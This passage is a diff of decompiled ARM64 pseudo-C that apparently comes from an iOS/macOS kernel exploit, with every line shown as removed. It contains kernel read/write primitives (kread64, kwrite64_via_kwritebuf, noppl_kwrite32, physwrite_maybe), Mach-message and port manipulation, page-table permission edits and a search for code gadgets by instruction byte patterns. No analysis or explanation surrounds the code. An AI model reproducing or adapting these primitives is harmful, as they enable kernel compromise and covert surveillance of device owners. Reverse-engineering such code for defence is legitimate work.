v4 >= 0x27120080D00000LL ) - { - v5 = (int *)(a2 + 0x7C); - v6 = *(_DWORD *)(a2 + 0x7C); - v7 = 0x800; - v8 = 0x1000000; - v9 = 0x80; - v10 = 0x4000; - v11 = 0x58LL; - goto LABEL_23; - } - if ( v4 <= 0x225C23801AF00DLL ) - { - v5 = (int *)(a2 + 0x74); - v6 = *(_DWORD *)(a2 + 0x74); - v11 = 0x50LL; -LABEL_11: - v13 = v4 > 0x271200073FFFFFLL; - if ( v4 <= 0x271200073FFFFFLL ) - v10 = 0x80000; - else - v10 = 0x4000; - if ( v4 <= 0x271200073FFFFFLL ) - v9 = 0x1000; - else - v9 = 0x80; - if ( v4 <= 0x271200073FFFFFLL ) - v8 = 0x20000000; - else - v8 = 0x1000000; - if ( v13 ) - v7 = 0x800; - else - v7 = 0x10000; - goto LABEL_23; - } - v12 = 0x74LL; - if ( *(int *)(a1 + 0x140) < 0x2712 ) - v12 = 0x7CLL; - v11 = 0x50LL; - if ( *(int *)(a1 + 0x140) < 0x2712 ) - v11 = 0x58LL; - v5 = (int *)(a2 + v12); - v6 = *v5; - if ( v4 <= 0x2712000C6FFFFFLL ) - goto LABEL_11; - v7 = 0x800; - v8 = 0x1000000; - v9 = 0x80; - v10 = 0x4000; -LABEL_23: - if ( ((v7 | v10) & ~v6) != 0 ) - return 0x28011LL; - *v5 = v9 | v6 | v8; - if ( a4 ) - *a4 = *(_QWORD *)(a2 + v11); - result = 0LL; - *(_QWORD *)(a2 + v11) = a3; - return result; -} - -//----- (000000000001003C) ---------------------------------------------------- -__int64 __fastcall sub_1003C(__int64 a1, __int64 a2, __int64 a3, int a4, __int64 a5, __int64 a6, unsigned __int64 a7) -{ - unsigned __int64 v14; // x0 - vm_size_t v15; // x8 - unsigned __int64 v16; // x8 - unsigned __int64 v17; // x8 - __int64 v18; // x9 - __int64 result; // x0 - int v20; // w10 - int v21; // w12 - int v22; // w8 - int v23; // [xsp+Ch] [xbp-44h] BYREF - - v14 = sub_35A50(a1, 0, &v23); - if ( !v14 ) - return 0xAD001LL; - *(_OWORD *)(a5 + 0x10) = 0u; - *(_OWORD *)(a5 + 0x20) = 0u; - *(_QWORD *)(a5 + 0x30) = 0LL; - *(_OWORD *)a5 = 0u; - v15 = a7 / vm_page_size; - *(_QWORD *)(a5 + 0x18) = 0LL; - *(_QWORD *)(a5 + 0x30) = v15; - v16 = (a3 - v14) >> v23; - *(_DWORD *)(a5 + 0x2C) = 0x140; - *(_DWORD *)(a5 + 0x20) = v16; - *(_DWORD *)(a5 + 0x24) = 0x2000000; - *(_QWORD *)(a2 + 0x20) = a6; - if ( !a4 ) - return 0LL; - v17 = *(_QWORD *)(a1 + 0x158); - if ( v17 <= 0x27120080CFFFFFLL ) - { - if ( v17 < 0x225C23801AF00ELL ) - { - v18 = 0x74LL; - } - else - { - v18 = 0x74LL; - if ( *(int *)(a1 + 0x140) < 0x2712 ) - v18 = 0x7CLL; - } - } - else - { - v18 = 0x7CLL; - } - v20 = *(_DWORD *)(a2 + v18); - if ( v17 <= 0x271200073FFFFFLL ) - v21 = 0x90000; - else - v21 = 0x4800; - if ( (v21 & ~v20) != 0 ) - return 0x28011LL; - result = 0LL; - if ( v17 <= 0x271200073FFFFFLL ) - v22 = 0x1000; - else - v22 = 0x80; - *(_DWORD *)(a2 + v18) = v20 | v22; - return result; -} - -//----- (00000000000101AC) ---------------------------------------------------- -void __fastcall sub_101AC(__CFDictionary *a1, const void *a2) -{ - CFNumberRef v4; // x21 - int valuePtr; // [xsp+Ch] [xbp-24h] BYREF - - valuePtr = 0x20; - v4 = CFNumberCreate(0LL, kCFNumberIntType, &valuePtr); - CFDictionarySetValue(a1, a2, v4); - CFRelease(v4); -} - -//----- (0000000000010214) ---------------------------------------------------- -__int64 __fastcall sub_10214(__int64 a1, __int64 a2, unsigned __int64 a3) -{ - __int64 v5; // x19 - __int64 v6; // x22 - _BOOL4 has_flag; // w0 - __int64 v8; // x8 - unsigned __int64 v9; // x0 - unsigned __int64 v10; // x22 - vm_size_t v11; // x21 - mem_entry_name_port_t v12; // w5 - kern_return_t v14; // w0 - int v15; // w8 - vm_address_t v16; // x9 - vm_address_t v17; // x9 - __int64 v18; // [xsp+10h] [xbp-70h] BYREF - __int64 v19; // [xsp+18h] [xbp-68h] BYREF - _QWORD v20[7]; // [xsp+20h] [xbp-60h] BYREF - vm_address_t address; // [xsp+58h] [xbp-28h] BYREF - - v5 = 0x2800FLL; - if ( (unsigned int)kreadbuf_last_1( - a1, - 8LL * (unsigned int)((a3 - *(_QWORD *)(a2 + 0x3500)) >> vm_page_shift) + *(_QWORD *)(a2 + 0x3508), - 8LL, - (__int64)&v19) ) - { - if ( (~(_BYTE)v19 & 3) != 0 ) - return 0xAD014LL; - v6 = v19 & 0xFFFFFFFFFFFCLL; - has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x8000); - v8 = 0x20LL; - if ( !has_flag ) - v8 = 8LL; - if ( kread64((_DWORD *)a1, v6 + v8 - 0xFFFFFFFFFFE8LL, &v18) ) - { - v9 = sub_385F4(a1, v18 + ((a3 >> 0xA) & 0xC)); - if ( !v9 ) - return 0x28026LL; - v10 = v9; - address = 0LL; - v11 = vm_page_size; - v12 = *(_DWORD *)(a1 + 0x58); - if ( v12 + 1 > 1 ) - { - v14 = vm_map(mach_task_self_, &address, vm_page_size, 0LL, 1, v12, v9 & ~*(_QWORD *)(a1 + 0x188), 0, 3, 3, 2u); - if ( v14 ) - return v14 | 0x80000000; - } - else if ( (unsigned int)physwrite_maybe(a1, v9, (__int64)v20) ) - { - return 0xFFFFFFFFLL; - } - v15 = *(_DWORD *)(a1 + 0x58); - if ( (unsigned int)(v15 + 1) >= 2 ) - v16 = address; - else - v16 = v20[0]; - v17 = (*(_QWORD *)(a1 + 0x188) & v10) + v16; - if ( *(_WORD *)v17 ) - { - v5 = 0LL; - atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu); - *(_WORD *)(v17 + 2) = 0x4000; - v15 = *(_DWORD *)(a1 + 0x58); - } - else - { - v5 = 0x28011LL; - } - if ( (unsigned int)(v15 + 1) >= 2 ) - vm_deallocate(mach_task_self_, address, v11); - else - sub_38BCC(a1, (__int64)v20); - } - } - return v5; -} - -//----- (0000000000010414) ---------------------------------------------------- -__int64 __fastcall sub_10414(__int64 a1, __int64 a2, unsigned __int64 *a3) -{ - int v5; // w8 - __int64 result; // x0 - __int64 v7; // x8 - _BOOL4 v9; // w8 - unsigned __int64 v10; // [xsp+8h] [xbp-28h] BYREF - - v5 = *(_DWORD *)(a1 + 0x140); - result = 0x2802CLL; - if ( v5 <= 0x2257 ) - { - if ( (unsigned int)(v5 - 0x1F53) >= 2 ) - { - if ( v5 != 0x1C1B ) - return result; - v7 = 0xF8LL; - goto LABEL_12; - } -LABEL_10: - v7 = 0x100LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) - v7 = 0xF8LL; -LABEL_12: - if ( !kread64((_DWORD *)a1, v7 + a2, (__int64 *)&v10) ) - return 0x2800FLL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL - || (v9 = kread64((_DWORD *)a1, v10, (__int64 *)&v10), result = 0x2800FLL, v9) ) - { - if ( validate_addr(a1, v10) ) - { - result = 0LL; - *a3 = v10; - } - else - { - return 0x28026LL; - } - } - return result; - } - if ( v5 == 0x225C || v5 == 0x2258 ) - goto LABEL_10; - return result; -} - -//----- (0000000000010534) ---------------------------------------------------- -__int64 __fastcall sub_10534(_DWORD *a1, __int64 a2, unsigned int a3, __int64 *a4) -{ - __int64 v7; // x19 - __int64 v9; // [xsp+8h] [xbp-38h] BYREF - __int64 v10; // [xsp+10h] [xbp-30h] BYREF - unsigned __int64 v11; // [xsp+18h] [xbp-28h] BYREF - - *a4 = 0LL; - v9 = 0LL; - v7 = sub_10414((__int64)a1, a2, &v11); - if ( !(_DWORD)v7 ) - { - v7 = 0x2800FLL; - if ( kread64(a1, v11 + 8LL * a3, &v10) ) - { - if ( validate_addr((__int64)a1, v10) ) - { - if ( kread64(a1, v10 + 0x10, &v9) ) - { - validate_addr((__int64)a1, v9); - if ( kread64(a1, v9 + 0x38, a4) ) - return 0LL; - else - return 0x2800FLL; - } - } - else - { - return 0x28026LL; - } - } - } - return v7; -} - -//----- (0000000000010604) ---------------------------------------------------- -__int64 __fastcall kwritebuf_0_or_5(__int64 a1, __int64 a2, __int64 a3, __int64 a4) -{ - if ( (unsigned int)kwritebuf_last_1(*(_QWORD *)(a1 + 0x20), a2, a3, a4) ) - return 0LL; - else - return 5LL; -} - -//----- (000000000001062C) ---------------------------------------------------- -__int64 __fastcall sub_1062C(__int64 a1, __int64 a2, __int64 a3, __int64 a4) -{ - if ( (unsigned int)kreadbuf_last_1(*(_QWORD *)(a1 + 0x20), a2, a4, a3) ) - return 0LL; - else - return 5LL; -} - -//----- (0000000000010660) ---------------------------------------------------- -__int64 __fastcall sub_10660(__int64 a1, __int64 a2) -{ - __int64 v3; // [xsp+8h] [xbp-8h] BYREF - - if ( (unsigned int)kreadbuf_last_1(*(_QWORD *)(a1 + 0x20), a2, 8LL, (__int64)&v3) ) - return v3; - else - return 0LL; -} - -//----- (0000000000010698) ---------------------------------------------------- -__int64 __fastcall kwrite64_via_kwritebuf(__int64 a1, __int64 a2, __int64 a3) -{ - __int64 v4; // [xsp+8h] [xbp-8h] BYREF - - v4 = a3; - if ( (unsigned int)kwritebuf_last_1(*(_QWORD *)(a1 + 0x20), a2, (__int64)&v4, 8LL) ) - return 0LL; - else - return 5LL; -} - -//----- (00000000000106D4) ---------------------------------------------------- -__int64 __fastcall kread32(__int64 a1, unsigned __int64 a2) -{ - unsigned int v3; // [xsp+Ch] [xbp-4h] BYREF - - if ( kread32_outptr(*(_QWORD *)(a1 + 0x20), a2, &v3) ) - return v3; - else - return 0LL; -} - -//----- (0000000000010708) ---------------------------------------------------- -__int64 __fastcall sub_10708(__int64 a1, mach_vm_address_t a2, int a3) -{ - if ( noppl_kwrite32(*(_QWORD *)(a1 + 0x20), a2, a3) ) - return 0LL; - else - return 5LL; -} - -//----- (0000000000010730) ---------------------------------------------------- -__int64 __fastcall sub_10730(_QWORD *a1, _QWORD **a2) -{ - __int128 v4; // q0 - unsigned __int64 v5; // x0 - __int128 v7; // [xsp+0h] [xbp-70h] BYREF - __int128 v8; // [xsp+10h] [xbp-60h] - __int128 v9; // [xsp+20h] [xbp-50h] BYREF - __int128 v10; // [xsp+30h] [xbp-40h] - - a1[1] = 0xB0LL; - v9 = xmmword_42F30; - LODWORD(v10) = 0xD280000F; - v7 = xmmword_42F44; - LODWORD(v8) = 0xFFFFFC1F; - *a1 = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 5u) + 4; - v9 = xmmword_42F58; - v10 = unk_42F68; - *(_QWORD *)&v4 = 0xFFFFFFFFFFFFFFFFLL; - *((_QWORD *)&v4 + 1) = 0xFFFFFFFFFFFFFFFFLL; - v7 = v4; - v8 = v4; - v5 = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 8u); - a1[2] = v5; - a1[3] = v5 + 0x14; - a1[8] = v5 + 0x1C; - *(_QWORD *)&v9 = 0xF9000010DAC10230LL; - DWORD2(v9) = 0xD65F03C0; - *(_QWORD *)&v7 = 0xFFFFFFFFFFFFFFFFLL; - DWORD2(v7) = 0xFFFFFFFF; - a1[4] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 3u); - *(_QWORD *)&v9 = 0xF9000010DAC10A30LL; - DWORD2(v9) = 0xD65F03C0; - *(_QWORD *)&v7 = 0xFFFFFFFFFFFFFFFFLL; - DWORD2(v7) = 0xFFFFFFFF; - a1[5] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 3u); - *(_QWORD *)&v9 = 0xD538D083D5034FDFLL; - DWORD2(v9) = 0x910002BF; - *(_QWORD *)&v7 = 0xFFFFFFFFFFFFFFFFLL; - DWORD2(v7) = 0xFFFFFFFF; - a1[6] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 3u); - v9 = xmmword_42F78; - LODWORD(v10) = 0xD73F0911; - v7 = xmmword_42F8C; - LODWORD(v8) = 0xFFFFFFFF; - a1[7] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 5u); - return 0LL; -} -// 42F30: using guessed type __int128 xmmword_42F30; -// 42F44: using guessed type __int128 xmmword_42F44; -// 42F58: using guessed type __int128 xmmword_42F58; -// 42F78: using guessed type __int128 xmmword_42F78; -// 42F8C: using guessed type __int128 xmmword_42F8C; - -//----- (000000000001091C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1091C(__int64 a1, int a2) -{ - size_t v4; // x20 - mach_msg_header_t *v5; // x0 - mach_port_name_t v6; // w8 - __int64 v7; // x20 - __int64 v8; // x0 - _DWORD *v9; // x21 - __int64 v10; // x0 - unsigned __int64 v11; // x21 - mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF - - name = 0; - mach_port_allocate(mach_task_self_, 1u, &name); - v4 = (unsigned int)(a2 + 0x18); - v5 = (mach_msg_header_t *)calloc(1uLL, v4); - v6 = name; - v5->msgh_size = v4; - v5->msgh_remote_port = v6; - v5->msgh_bits = 0x15; - mach_msg_send(v5); - v7 = sub_224AC(*(_QWORD *)(a1 + 8), name) + 0x20; - v8 = sub_10660(*(_QWORD *)(a1 + 8), v7); - v9 = *(_DWORD **)(*(_QWORD *)(a1 + 8) + 0x20LL); - v10 = sub_10660(*(_QWORD *)(a1 + 8), v8 + 0x10); - v11 = sub_29D2C(v9, v10); - kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), v7, 0LL); - mach_port_destroy(mach_task_self_, name); - return v11 + 0x20; -} - -//----- (00000000000109F8) ---------------------------------------------------- -__int64 __fastcall sub_109F8(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, __int64 a5, __int64 a6, __int64 a7) -{ - __int64 v14; // x26 - _QWORD *v15; // x8 - __int64 v16; // x9 - mach_msg_header_t *v17; // x0 - mach_port_name_t v18; // w4 - __int64 vars8; // [xsp+48h] [xbp+8h] - - v14 = *(_QWORD *)(a1 + 0x10); - *(_DWORD *)(v14 + 0x408) = *(_DWORD *)(v14 + 8); - *(_DWORD *)(v14 + 0x40C) = 0; - *(_DWORD *)(v14 + 0x414) = *(_DWORD *)(v14 + 0x14) + 0x64; - memcpy((void *)(v14 + 0x42C), (const void *)(v14 + 0x38), 0x210uLL); - *(NDR_record_t *)(v14 + 0x418) = NDR_record; - *(_DWORD *)(v14 + 0x428) = 0x84; - *(_QWORD *)(v14 + 0x420) = 0x1100000000LL; - *(_QWORD *)(v14 + 0x400) = 0x23C00000012LL; - memcpy(*(void **)(a1 + 0x18), (const void *)(a1 + 0x2C), 0x130uLL); - v16 = *(_QWORD *)(a1 + 0x10); - v15 = *(_QWORD **)(a1 + 0x18); - v15[1] = a2; - v15[2] = a3; - v15[3] = a4; - v15[4] = a5; - v15[5] = a6; - v15[6] = a7; - mach_msg_send((mach_msg_header_t *)(v16 + 0x400)); - bzero(*(void **)(a1 + 0x10), 0x800uLL); - v17 = *(mach_msg_header_t **)(a1 + 0x10); - v18 = *(_DWORD *)(a1 + 0x170); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return mach_msg(v17, 2, 0, 0x400u, v18, 0, 0); -} -// 10AF8: variable 'vars8' is possibly undefined - -//----- (0000000000010B08) ---------------------------------------------------- -__int64 __fastcall sub_10B08(_QWORD *a1, __int64 a2, unsigned int a3, __int64 a4, __int64 a5, __int64 a6) -{ - __int64 v7; // x9 - __int64 v8; // x10 - __int64 v9; // x6 - __int64 v10; // x9 - __int64 result; // x0 - - v7 = 0LL; - v8 = a1[0x2C]; - do - { - *(_QWORD *)(v8 + 8 + v7) = *(_QWORD *)(a6 + v7); - v7 += 8LL; - } - while ( v7 != 0xF0 ); - *(_QWORD *)(v8 + 0x100) = a5; - *(_QWORD *)((char *)a1 + 0xDC) = a1[0x2D]; - v10 = *(_QWORD *)(a6 + 0x80); - v9 = *(_QWORD *)(a6 + 0x88); - *(_QWORD *)(v8 + 0x108) = a2; - *(_DWORD *)(v8 + 0x110) = a3; - *(_QWORD *)(v8 + 0xF8) = a4; - *(_QWORD *)(v8 + 0x88) = v10; - *(_QWORD *)(v8 + 0x90) = v9; - result = sub_109F8((__int64)a1, a1[0x2D], a2, a3, a4, v10, v9); - *(_QWORD *)((char *)a1 + 0xDC) = a1[0x2F]; - return result; -} - -//----- (0000000000010B90) ---------------------------------------------------- -__int64 __fastcall sub_10B90(__int64 a1, __int64 a2, __int64 a3) -{ - *(_QWORD *)(a3 + 0xA8) = *(_QWORD *)(a1 + 0x178); - return sub_10B08((_QWORD *)a1, a2, *(_DWORD *)(a1 + 0x290), *(_QWORD *)(a1 + 0x270), *(_QWORD *)(a1 + 0x278), a3); -} - -//----- (0000000000010C2C) ---------------------------------------------------- -__int64 __fastcall sub_10C2C(__int64 a1, __int64 a2, int a3, __int64 a4) -{ - __int64 v7; // x4 - __int64 v8; // x22 - __int64 v9; // x23 - __int64 v10; // x24 - __int64 v11; // x8 - __int64 v12; // x10 - __int64 v13; // x0 - __int64 v14; // x1 - _OWORD v16[9]; // [xsp+0h] [xbp-140h] BYREF - __int128 v17; // [xsp+90h] [xbp-B0h] - __int128 v18; // [xsp+A0h] [xbp-A0h] - __int128 v19; // [xsp+B0h] [xbp-90h] - __int128 v20; // [xsp+C0h] [xbp-80h] - __int128 v21; // [xsp+D0h] [xbp-70h] - __int128 v22; // [xsp+E0h] [xbp-60h] - __int64 vars8; // [xsp+148h] [xbp+8h] - - v21 = 0u; - v22 = 0u; - v19 = 0u; - v20 = 0u; - v17 = 0u; - v18 = 0u; - memset(v16, 0, sizeof(v16)); - v7 = *(_QWORD *)(a1 + 0x278); - if ( v7 ) - { - v8 = *(_QWORD *)(a1 + 0x278); - if ( (*(_BYTE *)(a1 + 0x28C) & 1) == 0 ) - v8 = *(_QWORD *)(a1 + 0x278); - } - else - { - v8 = 0LL; - } - if ( a3 >= 1 ) - { - v9 = 0LL; - v10 = (unsigned int)a3; - do - { - if ( (unsigned int)v9 < 8 || (_DWORD)v9 == 0xF ) - { - *((_QWORD *)v16 + v9) = *(_QWORD *)(a4 + 8 * v9); - } - else - { - kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), v8, *(_QWORD *)(a4 + 8 * v9)); - v8 += 8LL; - } - ++v9; - } - while ( v10 != v9 ); - v7 = *(_QWORD *)(a1 + 0x278); - } - v11 = *(_QWORD *)(a1 + 0x298); - v12 = *(_QWORD *)(a1 + 0x178); - *((_QWORD *)&v17 + 1) = v11 + 0xEFE8; - *((_QWORD *)&v18 + 1) = v12; - *((_QWORD *)&v19 + 1) = v11 + 0xEF80; - sub_10B08((_QWORD *)a1, a2, *(_DWORD *)(a1 + 0x294), qword_48038, v7, (__int64)v16); - v13 = *(_QWORD *)(a1 + 8); - v14 = *(_QWORD *)(a1 + 0x298) + 0xF000LL; - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_10660(v13, v14); -} -// 48038: using guessed type __int64 qword_48038; - -//----- (0000000000010DEC) ---------------------------------------------------- -__int64 __fastcall sub_10DEC(__int64 a1, __int64 a2, _QWORD *a3) -{ - __int64 v3; // x8 - _QWORD *v4; // x10 - _OWORD v7[14]; // [xsp+10h] [xbp-100h] BYREF - __int64 v8; // [xsp+F0h] [xbp-20h] - - v3 = 0LL; - v8 = 0LL; - memset(v7, 0, sizeof(v7)); - do - { - v4 = a3++; - *(_QWORD *)((char *)v7 + v3) = *v4; - v3 += 8LL; - } - while ( v3 != 0xE8 ); - return (*(__int64 (__fastcall **)(__int64, __int64, __int64, _OWORD *))(*(_QWORD *)a1 + 8LL))(a1, a2, 0x1DLL, v7); -} - -//----- (0000000000010EA8) ---------------------------------------------------- -__int64 __fastcall sub_10EA8(__int64 a1, __int64 a2, __int64 a3) -{ - __int64 v4; // x0 - __int64 v5; // x1 - __int64 v7; // [xsp+8h] [xbp-108h] BYREF - __int128 v8; // [xsp+10h] [xbp-100h] - __int128 v9; // [xsp+20h] [xbp-F0h] - __int128 v10; // [xsp+30h] [xbp-E0h] - __int128 v11; // [xsp+40h] [xbp-D0h] - __int128 v12; // [xsp+50h] [xbp-C0h] - __int128 v13; // [xsp+60h] [xbp-B0h] - __int128 v14; // [xsp+70h] [xbp-A0h] - __int128 v15; // [xsp+80h] [xbp-90h] - __int128 v16; // [xsp+90h] [xbp-80h] - __int128 v17; // [xsp+A0h] [xbp-70h] - __int128 v18; // [xsp+B0h] [xbp-60h] - __int128 v19; // [xsp+C0h] [xbp-50h] - __int128 v20; // [xsp+D0h] [xbp-40h] - __int128 v21; // [xsp+E0h] [xbp-30h] - __int64 v22; // [xsp+F0h] [xbp-20h] - __int64 vars8; // [xsp+118h] [xbp+8h] - - v14 = 0u; - v15 = 0u; - v16 = 0u; - v22 = 0LL; - v21 = 0u; - v20 = 0u; - v19 = 0u; - v18 = 0u; - v17 = 0u; - v12 = 0u; - v13 = 0u; - v10 = 0u; - v11 = 0u; - v8 = 0u; - v9 = 0u; - v7 = *(_QWORD *)(a1 + 0x298) + 0xF000LL; - *((_QWORD *)&v15 + 1) = a2; - *(_QWORD *)&v16 = a3; - sub_10B90(a1, qword_48020, (__int64)&v7); - v4 = *(_QWORD *)(a1 + 8); - v5 = *(_QWORD *)(a1 + 0x298) + 0xF000LL; - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_10660(v4, v5); -} -// 48020: using guessed type __int64 qword_48020; - -//----- (0000000000010F6C) ---------------------------------------------------- -__int64 __fastcall sub_10F6C(__int64 a1, __int64 a2) -{ - return (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 0x10LL))(a1, a2, 0LL); -} - -//----- (0000000000010F84) ---------------------------------------------------- -__int64 __fastcall sub_10F84(__int64 a1, __int64 a2, __int64 a3) -{ - __int64 v4; // x0 - __int64 v5; // x1 - __int64 v7; // [xsp+8h] [xbp-118h] BYREF - __int128 v8; // [xsp+10h] [xbp-110h] - __int128 v9; // [xsp+20h] [xbp-100h] - __int128 v10; // [xsp+30h] [xbp-F0h] - __int128 v11; // [xsp+40h] [xbp-E0h] - __int128 v12; // [xsp+50h] [xbp-D0h] - __int128 v13; // [xsp+60h] [xbp-C0h] - __int128 v14; // [xsp+70h] [xbp-B0h] - __int128 v15; // [xsp+80h] [xbp-A0h] - __int128 v16; // [xsp+90h] [xbp-90h] - __int128 v17; // [xsp+A0h] [xbp-80h] - __int128 v18; // [xsp+B0h] [xbp-70h] - __int128 v19; // [xsp+C0h] [xbp-60h] - __int128 v20; // [xsp+D0h] [xbp-50h] - __int128 v21; // [xsp+E0h] [xbp-40h] - __int64 v22; // [xsp+F0h] [xbp-30h] - __int64 vars8; // [xsp+128h] [xbp+8h] - - v14 = 0u; - v15 = 0u; - v16 = 0u; - v22 = 0LL; - v21 = 0u; - v20 = 0u; - v19 = 0u; - v18 = 0u; - v17 = 0u; - v12 = 0u; - v13 = 0u; - v10 = 0u; - v11 = 0u; - v8 = 0u; - v9 = 0u; - v7 = *(_QWORD *)(a1 + 0x298) + 0xF100LL; - *((_QWORD *)&v15 + 1) = a2; - *(_QWORD *)&v16 = a3; - sub_10B90(a1, qword_48028, (__int64)&v7); - v4 = *(_QWORD *)(a1 + 8); - v5 = *(_QWORD *)(a1 + 0x298) + 0xF100LL; - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_10660(v4, v5); -} -// 48028: using guessed type __int64 qword_48028; - -//----- (0000000000011054) ---------------------------------------------------- -__int64 __fastcall sub_11054(__int64 *a1, __int64 a2, __int64 a3) -{ - _QWORD v5[2]; // [xsp+8h] [xbp-48h] BYREF - __int128 v6; // [xsp+18h] [xbp-38h] - __int128 v7; // [xsp+28h] [xbp-28h] - - v5[0] = a1[0x53] + 0xEFD8; - v5[1] = a3; - v6 = 0u; - v7 = 0u; - (*(void (__fastcall **)(__int64 *, __int64, __int64, _QWORD *))(*a1 + 8))(a1, qword_48018, 6LL, v5); - return sub_10660(a1[1], a1[0x53] + 0xF100); -} -// 48018: using guessed type __int64 qword_48018; - -//----- (00000000000110FC) ---------------------------------------------------- -__int64 __fastcall sub_110FC( - __int64 a1, - __int64 a2, - __int64 a3, - __int64 a4, - __int64 a5, - __int64 a6, - __int64 a7, - __int64 a8, - __int64 a9) -{ - __int64 v9; // x8 - __int64 *v10; // x10 - __int64 *v12; // [xsp+8h] [xbp-98h] - _OWORD v13[7]; // [xsp+10h] [xbp-90h] BYREF - __int64 v14; // [xsp+80h] [xbp-20h] - __int64 v15; // [xsp+88h] [xbp-18h] - - v9 = 0LL; - v12 = &a9; - v14 = 0LL; - memset(v13, 0, sizeof(v13)); - do - { - v10 = v12++; - *(_QWORD *)((char *)v13 + v9) = *v10; - v9 += 8LL; - } - while ( v9 != 0x40 ); - v15 = a2; - return (*(__int64 (__fastcall **)(__int64, __int64, __int64, _OWORD *))(*(_QWORD *)a1 + 8LL))( - a1, - qword_48000, - 0x10LL, - v13); -} -// 48000: using guessed type __int64 qword_48000; - -//----- (00000000000111B4) ---------------------------------------------------- -__int64 __fastcall sub_111B4(__int64 a1) -{ - return (*(__int64 (**)(void))(a1 + 0x10))(); -} - -//----- (00000000000111C0) ---------------------------------------------------- -__int64 __fastcall sub_111C0(__int64 a1) -{ - __int64 *v2; // x20 - unsigned __int64 v3; // x24 - __int64 v4; // x0 - __int64 v5; // x23 - unsigned int v6; // w0 - unsigned __int64 v7; // x27 - __int64 v8; // x22 - unsigned int v9; // w0 - int v10; // w21 - __int64 v11; // x0 - __int64 v12; // x8 - unsigned __int64 v13; // x22 - unsigned __int64 v14; // x25 - unsigned __int64 v15; // x27 - unsigned __int64 v16; // x0 - bool v17; // cf - unsigned int v19; // w0 - unsigned __int64 v20; // x27 - int v21; // w21 - thread_act_t v22; // w1 - unsigned __int64 v23; // x25 - __int64 v24; // x22 - unsigned __int64 v25; // x0 - vm_offset_t v26; // x26 - vm_address_t v27; // x26 - thread_act_t v28; // w22 - unsigned __int64 v29; // x22 - unsigned __int64 i; // x24 - int v31; // w0 - int v32; // w0 - int v33; // w0 - unsigned int v34; // w8 - __int64 *v35; // x24 - vm_address_t v36; // x28 - thread_act_t v37; // w0 - __int64 v38; // x22 - mach_port_t v39; // w0 - mach_vm_address_t v40; // x22 - __int64 v41; // x26 - int v42; // w8 - int v43; // w8 - __int64 v44; // x22 - __int64 v45; // x22 - unsigned int v46; // w1 - __int64 v47; // x8 - __int64 v48; // x28 - thread_act_t v51; // w0 - __int64 j; // x22 - thread_act_t v53; // w0 - int v54; // w8 - _DWORD *v55; // x0 - int v56; // w22 - _BOOL4 has_flag; // w0 - __int64 v58; // x9 - unsigned __int64 v59; // x9 - int v60; // w10 - int v61; // w24 - unsigned __int64 v62; // x22 - unsigned int v63; // w0 - unsigned __int64 v64; // x22 - unsigned __int64 v65; // x25 - unsigned int v66; // w0 - unsigned __int64 v67; // x8 - __int64 v68; // x22 - __int64 v69; // x0 - unsigned __int64 v70; // x0 - _DWORD *v71; // x22 - __int64 v72; // x0 - unsigned __int64 v73; // x0 - _DWORD *v74; // x22 - __int64 v75; // x0 - mach_vm_address_t v76; // x1 - unsigned __int64 v77; // x22 - __int64 v78; // x25 - __int64 v79; // x8 - _DWORD *v80; // x9 - _QWORD *v81; // x10 - _QWORD *v82; // x8 - int v83; // w11 - __int64 v84; // x0 - __int64 v85; // x1 - mach_msg_header_t *v86; // x0 - vm_offset_t v87; // x22 - __int64 v88; // x24 - vm_address_t v89; // x8 - __int64 v90; // x22 - __int64 v91; // x24 - __int64 v92; // x0 - void *v94; // [xsp+40h] [xbp-6C0h] - __int64 v95; // [xsp+58h] [xbp-6A8h] - __int64 v96; // [xsp+98h] [xbp-668h] - __int64 v97; // [xsp+A0h] [xbp-660h] - vm_address_t v98; // [xsp+A8h] [xbp-658h] - unsigned __int64 v99; // [xsp+A8h] [xbp-658h] - __int64 v100; // [xsp+B0h] [xbp-650h] - mach_vm_address_t v101; // [xsp+B8h] [xbp-648h] - unsigned __int64 v102; // [xsp+C0h] [xbp-640h] - __int64 v103; // [xsp+C8h] [xbp-638h] - int v104; // [xsp+D4h] [xbp-62Ch] - unsigned __int64 v105; // [xsp+D8h] [xbp-628h] - unsigned __int64 v106; // [xsp+E0h] [xbp-620h] - unsigned int v107; // [xsp+ECh] [xbp-614h] - vm_offset_t v108; // [xsp+F0h] [xbp-610h] - unsigned __int64 v109; // [xsp+F8h] [xbp-608h] - vm_address_t v110; // [xsp+100h] [xbp-600h] BYREF - _QWORD v111[6]; // [xsp+108h] [xbp-5F8h] BYREF - semaphore_t v112; // [xsp+138h] [xbp-5C8h] - semaphore_t v113; // [xsp+13Ch] [xbp-5C4h] - natural_t v114[4]; // [xsp+140h] [xbp-5C0h] BYREF - __int128 v115; // [xsp+150h] [xbp-5B0h] - __int128 v116; // [xsp+160h] [xbp-5A0h] - __int128 v117; // [xsp+170h] [xbp-590h] - __int128 v118; // [xsp+180h] [xbp-580h] - __int128 v119; // [xsp+190h] [xbp-570h] - __int128 v120; // [xsp+1A0h] [xbp-560h] - __int128 v121; // [xsp+1B0h] [xbp-550h] - __int128 v122; // [xsp+1C0h] [xbp-540h] - __int128 v123; // [xsp+1D0h] [xbp-530h] - __int128 v124; // [xsp+1E0h] [xbp-520h] - __int128 v125; // [xsp+1F0h] [xbp-510h] - __int128 v126; 